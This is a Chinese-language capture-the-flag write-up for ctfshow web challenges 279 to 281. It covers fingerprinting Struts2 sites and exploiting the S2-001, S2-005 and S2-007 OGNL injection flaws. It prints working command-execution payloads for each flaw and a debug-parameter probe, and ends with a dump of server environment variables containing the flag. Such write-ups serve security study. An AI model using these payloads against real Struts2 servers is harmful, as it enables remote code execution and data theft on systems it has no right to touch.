ctfshow_web_java

判断网站是否基于Struts2的方法链接

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
通过页面回显的错误消息来判断,页面不回显错误消息时则无效
通过网页后缀来判断,如.do .action,有可能不准
如果配置文件中常数extension的值以逗号结尾或者有空值,指明了action可以不带后缀,那么不带后缀的uri也可能是struts2框架搭建的
如果使用Struts2的rest插件,其默认的struts-plugin.xml指定的请求后缀为xhtml,xml和json
判断 /struts/webconsole.html 是否存在来进行判断,需要 devMode 为 true

检查响应头中是否包含Struts相关信息。例如:
X-Powered-By: Servlet/2.5 JSP/2.1 (Struts ?,Struts ?,Lotus-Notes/?,?)
如果响应头包含Struts相关字段,则很有可能使用了Struts。
2. 尝试访问Struts常用的Debug调试页面。例如:
/struts/webconsole.html
/struts/debug.html
如果能访问到以上页面,则证明使用了Struts。
3. 扫描网站是否存在Struts漏洞可以利用的 endpoints。常见的有:
- /struts2-showcase/
- /struts2-blank/
- /struts2-rest-showcase/
如果网站包含以上路径,则很可能基于Struts构建。
4. 发送Struts特有的请求参数以触发响应。例如:
?debug=command&expression=(%23_memberAccess.allowStaticMethodAccess%3Dtrue,%23foo%3Dnew%20java.lang.Boolean%28false%29,%23context%5B%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%5D.org.apache.struts2.ServletActionContext.getResponse().getWriter().println%28%23foo%29)`

如果该请求能够响应,则证明网站使用Struts构建。
5. 其他方式:检查页面源代码是否包含Struts相关JS文件引入;扫描网站可能存在的已知Struts漏洞; fuzzing网站的参数以寻找Struts漏洞等。

web279-300都是Struts2的漏洞

279:

S2–001(命令执行):

1
2
漏洞原理:
struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据

struts2漏洞 S2-001是当用户提交表单数据且验证失败时,服务器使用OGNL表达式解析用户先前提交的参数值,%{value}并重新填充相应的表单数据。例如,在注册或登录页面中。如果提交失败,则服务器通常默认情况下将返回先前提交的数据。由于服务器用于%{value}对提交的数据执行OGNL表达式解析,因此服务器可以直接发送有效载荷来执行命令。

1
2
3
4
5
了解下OGNL表达式中三个符号 %,#,$ 的含义

%的用途是在标志的属性为字符串类型时,计算OGNL表达式%{}中的值
#的用途访主要是访问非根对象属性,因为Struts 2中值栈被视为根对象,所以访问其他非根对象时,需要加#前缀才可以调用
$主要是在Struts 2配置文件中,引用OGNL表达式

payload:

1
2
3
4
5
6
7
8
9
// 获取tomcat路径
%{"tomcatBinDir{"+@java.lang.System@getProperty("user.dir")+"}"}

// 获取web路径
%{#req=@org.apache.struts2.ServletActionContext@getRequest(),#response=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#response.println(#req.getRealPath('/')),#response.flush(),#response.close()}

// 命令执行 env,flag就在其中
password=%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"env"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}&username=1

image-20241206093701182

image-20241206100124578

ctfshow将http改成https还是有点影响做题了

这个用工具会超时(连接超时,不能进行命令执行)

280:

S2-005(参数作为ognl语句执行)

先来了解下S2-003

Struts2将HTTP的每个参数名解析为ognl语句执行,而ognl表达式是通过#来访问struts的对象,Struts2框架虽然过滤了#来进行过滤,但是可以通过unicode编码(u0023)或8进制(43)绕过了安全限制,达到代码执行的效果

影响版本:Struts 2.0.0 - Struts 2.0.11.2

再看S2-005,参考链接

S2-005和S2-003的原理是类似的,因为官方在修补S2-003不全面,导致用户可以绕过官方的安全配置(禁止静态方法调用和类方法执行),再次造成的漏洞,可以说是升级版的S2-005是升级版的S2-003

影响版本:Struts 2.0.0 - Struts 2.1.8.1

poc

1
2
?('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003dfalse')(bla)(bla)&('\u0023_memberAccess.excludeProperties\u003d@java.util.Collections@EMPTY_SET')(kxlzx)(kxlzx)&('\u0023mycmd\u003d\'ifconfig\'')(bla)(bla)&('\u0023myret\u003d@java.lang.Runtime@getRuntime().exec(\u0023mycmd)')(bla)(bla)&(A)(('\u0023mydat\u003dnew\40java.io.DataInputStream(\u0023myret.getInputStream())')(bla))&(B)(('\u0023myres\u003dnew\40byte[51020]')(bla))&(C)(('\u0023mydat.readFully(\u0023myres)')(bla))&(D)(('\u0023mystr\u003dnew\40java.lang.String(\u0023myres)')(bla))&('\u0023myout\u003d@org.apache.struts2.ServletActionContext@getResponse()')(bla)(bla)&(E)(('\u0023myout.getWriter().println(\u0023mystr)')(bla))

但是没有成功

281:

S2-007:

1
当配置了验证规则 `<ActionName>-validation.xml` 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回

影响版本

Struts2 2.0.0 - Struts2 2.2.3当配置了验证规则 <ActionName>-validation.xml 时,若类型验证转换出错,后端默认会将用户提交的表单值通过字符串拼接,然后执行一次 OGNL 表达式解析并返回

影响版本:Struts2 2.0.0 - Struts2 2.2.3

poc:

1
' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

在age这里加入poc

image-20241206102242369

获得flag:

1
LD_LIBRARY_PATH=/usr/local/tomcat/native-jni-libCATALINA_HOME=/usr/local/tomcatLANG=C.UTF-8HOSTNAME=528867081ea1OPENSSL_VERSION=1.1.0f-3TOMCAT_VERSION=8.5.20GPG_KEYS=05AB33110949707C93A279E3D3EFE6B686867BA6 07E48665A34DCAFAE522E5E6266191C37C037D42 47309207D818FFD8DCD3F83F1931D684307A10A5 541FBE7D8F78B25E055DDEE13C370389288584E7 61B832AC2F1C5A90F0F9B00A1C506407564C17A3 713DA88BE50911535FE716F5208B0AB1D63011C7 79F7026C690BAA50B92CD8B66A3AD3F4F22C4FED 9BA44C2621385CB966EBA586F72C284D731FABEE A27677289986DB50844682F8ACB77FC2E86E29AC A9C5DF4D22E99998D9875A5110C01C5A2F6059E7 DCFD35E0BF8CA7344752DE8B6FB21E8933C60243 F3A04C595DB5B6A5F1ECA43E3B7BBB100D811BBE F7DA48BB64BCB84ECBA7EE6935CD23C10D498E23JAVA_HOME=/docker-java-home/jreTOMCAT_NATIVE_LIBDIR=/usr/local/tomcat/native-jni-libTOMCAT_ASC_URL=https://www.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz.ascJAVA_VERSION=8u141TOMCAT_TGZ_URL=https://www.apache.org/dyn/closer.cgi?action=download&filename=tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gzPWD=/usr/local/tomcat/webappsHOME=/rootTOMCAT_TGZ_FALLBACK_URL=https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gzCA_CERTIFICATES_JAVA_VERSION=20170531+nmu1TOMCAT_MAJOR=8JAVA_DEBIAN_VERSION=8u141-b15-1~deb9u1FLAG=ctfshow{603297bb-c2c4-45de-871c-1080654bec2a}SHLVL=0TOMCAT_ASC_FALLBACK_URL=https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.20/bin/apache-tomcat-8.5.20.tar.gz.ascPATH=/usr/local/tomcat/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin